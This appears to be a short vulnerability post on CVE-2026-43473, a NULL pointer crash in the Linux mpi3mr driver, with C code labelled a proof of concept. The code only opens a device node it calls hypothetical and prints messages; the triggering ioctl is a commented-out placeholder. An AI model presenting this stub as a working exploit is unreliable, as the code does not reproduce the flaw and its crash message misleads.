CVE-2026-43473: Linux内核mpi3mr驱动空指针崩溃

/* * PoC for CVE-2026-43473 * This code attempts to interact with the mpi3mr driver to trigger the queue reset logic. * Successful exploitation requires the driver to be loaded and vulnerable. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define MPI3MR_DRIVER_PATH "/dev/mpi3mrctl" // Hypothetical device node int main() { int fd; printf("[*] Attempting to open %s...\n", MPI3MR_DRIVER_PATH); // Open the device node fd = open(MPI3MR_DRIVER_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering queue reset logic...\n"); /* * In a real scenario, a specific IOCTL or command sequence would be sent * to force the driver into a state where queue creation fails, * followed by a reset operation that triggers the NULL pointer dereference. * Since the specific IOCTL is not disclosed, this is a placeholder for the trigger. */ // Example: Sending a command that might stress the queue allocation // ioctl(fd, SOME_VULNERABLE_IOCTL, NULL); printf("[*] If the kernel is vulnerable, a crash (Oops/Panic) may occur now.\n"); close(fd); return 0; }